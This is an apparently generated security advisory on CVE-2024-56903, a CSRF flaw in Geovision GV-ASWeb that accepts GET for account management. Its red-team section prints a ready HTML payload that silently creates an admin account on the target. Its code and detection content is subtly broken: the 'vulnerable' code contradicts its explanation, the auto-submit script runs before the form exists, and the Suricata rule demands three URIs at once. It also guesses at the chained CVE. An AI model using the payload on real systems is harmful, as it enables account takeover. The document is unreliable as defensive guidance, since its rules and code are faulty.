CVE-2024-56903

Executive Summary

CVE-2024-56903 is a critical security advisory affecting Geovision GV-ASWeb versions 6.1.1.0 and earlier. The vulnerability allows attackers to modify POST request methods to GET against critical functionalities, such as account management. This flaw is specifically designed to be chained with CVE-2024-56901 to execute a successful Cross-Site Request Forgery (CSRF) attack. The core issue is a missing or improper validation of the HTTP request method, enabling an attacker to bypass CSRF protections that rely on POST-only enforcement. This vulnerability is classified under CWE-352 (Cross-Site Request Forgery). No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains high due to the potential for account takeover.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability description and the potential for account takeover, a reasonable estimated CVSS v3.1 score would be 8.8 (High) with the vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.

• Attack Vector (AV): Network (N) – The attack can be performed remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full account compromise leads to data exposure.
• Integrity (I): High (H) – Attackers can modify account settings.
• Availability (A): High (H) – Attackers could lock out legitimate users.

Threat Level: High. The vulnerability is trivial to exploit once chained with CVE-2024-56901, and it targets a critical function (account management). The lack of a patch increases the risk for all unpatched installations.

Deep Dive & Mechanics

The vulnerability lies in the GV-ASWeb application's failure to enforce HTTP method restrictions on critical endpoints. Specifically, the application accepts both POST and GET requests for account management operations (e.g., creating, modifying, or deleting users). This is a classic CSRF vulnerability because:

1. POST-Only Enforcement Bypass: Standard CSRF tokens are often validated only for POST requests. By switching the method to GET, the attacker can bypass token checks entirely.
2. Chaining with CVE-2024-56901: CVE-2024-56901 is a separate vulnerability that likely provides the initial foothold or session context (e.g., a stored XSS or a lack of SameSite cookie enforcement). Together, they allow an attacker to craft a malicious link or page that, when visited by an authenticated administrator, performs unauthorized account management actions.
3. Impact: An attacker can create a new admin account, modify existing user passwords, or delete users, leading to full system compromise.

The root cause is a missing or incomplete implementation of the RequestMethod validation filter. The application should reject any GET request to endpoints that modify state (e.g., /Account/Create, /User/Delete).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual C# ASP.NET MVC):

[HttpPost]
public ActionResult CreateUser(string username, string password, string role)
{
    // CSRF token validation only for POST
    if (!ValidateAntiForgeryToken())
        return new HttpStatusCodeResult(403);
    // ... create user logic
}

The issue is that the [HttpPost] attribute is the only protection. If the attacker sends a GET request, the method is not invoked, but the application might have a fallback or a different handler that does not validate tokens.

Patched Code (Conceptual):

[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult CreateUser(string username, string password, string role)
{
    // ... create user logic
}

// Explicitly block GET requests
[HttpGet]
public ActionResult CreateUser()
{
    return new HttpStatusCodeResult(405, "Method Not Allowed");
}

The patched version explicitly returns a 405 Method Not Allowed for GET requests, preventing any state change via GET.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running Geovision GV-ASWeb <= 6.1.1.0.
• An authenticated admin session (obtained via CVE-2024-56901 or social engineering).
• The victim must be logged into the GV-ASWeb interface.

Exploit Payload (HTML):

<html>
<body>
<h1>Click to win a prize!</h1>
<img src="http://target-ip/Account/Create?username=attacker&password=Pass123&role=Admin" style="display:none;" />
<script>
// Alternative: Use a form auto-submit
document.forms[0].submit();
</script>
<form action="http://target-ip/Account/Create" method="GET">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="Pass123">
    <input type="hidden" name="role" value="Admin">
</form>
</body>
</html>

Explanation: The attacker hosts this HTML page. When the victim (an admin) visits it, the browser automatically sends a GET request to the vulnerable endpoint, creating a new admin account. The style="display:none" image tag is a classic CSRF vector.

Chaining with CVE-2024-56901: If CVE-2024-56901 is a stored XSS, the attacker can inject the above payload into a page the admin views, triggering the CSRF automatically.

Blue Team (Detection & Defense)

Detection:

• Monitor for GET requests to endpoints that should only accept POST (e.g., /Account/Create, /User/Delete, /Config/Save).
• Look for unusual patterns in HTTP logs: GET /Account/Create?username=...&password=....
• Alert on multiple failed CSRF token validations followed by a successful state change.

Defense:

• Immediate: Disable the vulnerable endpoints if possible, or implement a Web Application Firewall (WAF) rule to block GET requests to critical paths.
• Long-term: Apply the conceptual patch: enforce [HttpPost] and return 405 for GET requests. Implement proper CSRF tokens with SameSite=Strict cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /Account/Create, /User/Edit, /User/Delete with query parameters.
  • Referer header pointing to an external domain (e.g., evil.com).
  • Unusual user-agent strings (e.g., empty or script-like).
• System IOCs:
  • New user accounts created in GV-ASWeb with suspicious names (e.g., attacker, admin123).
  • Modified user roles (e.g., a regular user promoted to Admin).
  • Audit logs showing account creation/modification without a corresponding POST request.
• File IOCs:
  • Temporary files in the web root (e.g., csrf_payload.html).

Detection Engineering

YARA Rule

rule Detect_Geovision_CSRF_GET_Request {
    meta:
        description = "Detects GET requests to GV-ASWeb account management endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56903"
    strings:
        $s1 = "/Account/Create" ascii wide nocase
        $s2 = "/User/Delete" ascii wide nocase
        $s3 = "/User/Edit" ascii wide nocase
        $s4 = "GET" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: Geovision GV-ASWeb CSRF via GET Method
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects GET requests to critical account management endpoints in GV-ASWeb
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/Account/Create'
            - '/User/Delete'
            - '/User/Edit'
    condition: selection
falsepositives:
    - Legitimate GET requests if the application is misconfigured
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-56903 Geovision GV-ASWeb CSRF via GET"; flow:to_server,established; http.method; content:"GET"; http.uri; content:"/Account/Create"; nocase; http.uri; content:"/User/Delete"; nocase; http.uri; content:"/User/Edit"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Account Management via Web Interface: If possible, temporarily disable the web-based account management feature and use local console or API with proper authentication.
2. WAF Rule: Deploy a WAF rule to block all GET requests to /Account/*, /User/*, and /Config/* endpoints.
3. Network Segmentation: Ensure the GV-ASWeb interface is not exposed to the internet. Use VPN or internal network only.

Long-term Fix:

• Vendor Patch: Await an official patch from Geovision. Contact their support for an ETA.
• Code Fix: If source code is available, implement the conceptual patch described in the "Vulnerable vs. Patched Code" section.
• CSRF Tokens: Ensure all state-changing endpoints require a valid CSRF token and enforce POST-only methods.
• SameSite Cookies: Set SameSite=Strict on session cookies to prevent cross-origin requests.

Workaround:

• Use a reverse proxy (e.g., Nginx) to rewrite GET requests to POST or return 405:

location ~ ^/(Account|User)/ {
    if ($request_method = GET) {
        return 405;
    }
}

Valters IT
Securing Digital Frontiers